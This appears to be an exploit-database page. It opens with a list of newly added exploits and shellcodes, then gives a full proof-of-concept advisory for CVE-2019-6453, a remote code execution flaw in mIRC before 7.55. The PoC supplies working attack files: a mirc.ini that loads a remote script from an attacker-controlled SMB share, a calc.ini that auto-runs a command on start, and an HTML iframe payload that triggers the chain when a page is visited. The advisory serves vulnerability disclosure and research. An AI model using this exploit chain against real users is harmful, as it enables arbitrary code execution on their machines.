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25 changes to exploits/shellcodes Realterm Serial Terminal 2.0.0.70 - Denial of Service Realterm Serial Terminal 2.0.0.70 - Local Buffer Overflow (SEH) NBMonitor 1.6.5.0 - 'Key' Denial of Service (PoC) Oracle Java Runtime Environment - Heap Out-of-Bounds Read During OTF Font Rendering in glyph_CloseContour Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in OpenTypeLayoutEngine::adjustGlyphPositions Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in ExtractBitMap_blocClass Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in AlternateSubstitutionSubtable::process mIRC < 7.55 - Remote Command Execution Using Argument Injection Through Custom URI Protocol Handlers qdPM 9.1 - 'type' Cross-Site Scripting qdPM 9.1 - 'search[keywords]' Cross-Site Scripting Master IP CAM 01 3.3.4.2103 - Remote Command Execution MISP 2.4.97 - SQL Command Execution via Command Injection in STIX Module CMSsite 1.0 - 'post' SQL Injection M/Monit 3.7.2 - Privilege Escalation Webiness Inventory 2.3 - 'ProductModel' Arbitrary File Upload Apache CouchDB 2.3.0 - Cross-Site Scripting ArangoDB Community Edition 3.4.2-1 - Cross-Site Scripting Comodo Dome Firewall 2.7.0 - Cross-Site Scripting Zoho ManageEngine ServiceDesk Plus (SDP) < 10.0 build 10012 - Arbitrary File Upload WordPress Plugin WooCommerce - GloBee (cryptocurrency) Payment Gateway 1.1.1 - Payment Bypass / Unauthorized Order Status Spoofing macOS - Reverse (::1:4444/TCP) Shell (/bin/sh) +IPv6 Shellcode (119 bytes) macOS - Bind (4444/TCP) Shell (/bin/sh) + IPv6 Shellcode (129 bytes) macOS - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (103 bytes) macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes) macOS - execve(/bin/sh) + Null-Free Shellcode (31 bytes)
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# Exploit Title: RCE on mIRC <7.55 using argument injection through custom URI protocol handlers
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# Date: 18/02/2019
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# Exploit Author: https://twitter.com/proofofcalc/
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# Vendor Homepage: https://www.mirc.com
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# Software Link: https://www.mirc.com/get.php
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# Version: < 7.55
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# Tested on: Windows
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# CVE : CVE-2019-6453
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RCE through URI protocol handlers on mIRC <7.55 (CVE-2019-6453)
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===============================================================
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Severity: High
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mIRC has been shown to be vulnerable to argument injection through its
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associated URI protocol handlers that improperly escape their parameters.
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Usingavailable command-line parameters, an attacker is able to load a remote
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configuration file and to automatically run arbitrary code.
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Because mIRC doesn't use any kind of sigil such as -- to mark
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the end of the argument list, an attacker is able to pass arguments to mIRC
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through a irc:// link and execute arbitrary code by loading a custom
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mirc.ini
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from an attacker-controlled Samba file server. Please note that ircs://
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works
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the same way.
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PoC
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===
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The proof of calc requires three files: mirc.ini, calc.ini and poc.html.
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We assume a Samba file server is running on the attacker's side. For the
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sake of the example, the following pieces of code assume it is running on
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host 127.0.0.1 (i.e. replace 127.0.0.1 by your own server's address in
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the following files to try this out).
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mirc.ini
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========
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mirc.ini is a custom configuration file that should be located at
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C:\mirc-poc\mirc.ini
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on the file server.
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[rfiles]
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n2=\\127.0.0.1\C$\mirc-poc\calc.ini
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calc.ini
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========
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calc.ini is a remote script file that should be located at
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C:\mirc-poc\calc.ini on the
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file server.
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[script]
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n0=on *:START: {
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n1= /run calc.exe
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n2=}
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poc.html
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========
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Just visiting poc.html should work assuming mIRC is set as the default
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handler for the
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irc:// URI scheme and the browser does not encode the payload. Depending
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on the browser
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and your configuration, you might still get a prompt (not the case on
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Firefox).
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<iframe src='irc://? -i\\127.0.0.1\C$\mirc-poc\mirc.ini' />
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Affected versions
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=================
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This PoC runs for mIRC <7.55.
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You can trigger the PoC on Edge 42.17134 (last preview version) and
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Firefox 64.0.2
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(last release). It doesn't work on Chrome because the way Chrome handle
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URI protocols
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(URI is encoded before being passed to the application).
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References
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==========
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Further explanation (including proof of concept code):
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Write-up:
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https://proofofcalc.com/cve-2019-6453-mIRC/
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PoC:
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https://github.com/proofofcalc/cve-2019-6453-poc
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mIRC changelog:
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https://www.mirc.com/whatsnew.txt
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Authors
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=======
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Baptiste Devigne (Geluchat) and Benjamin Chetioui (SIben) |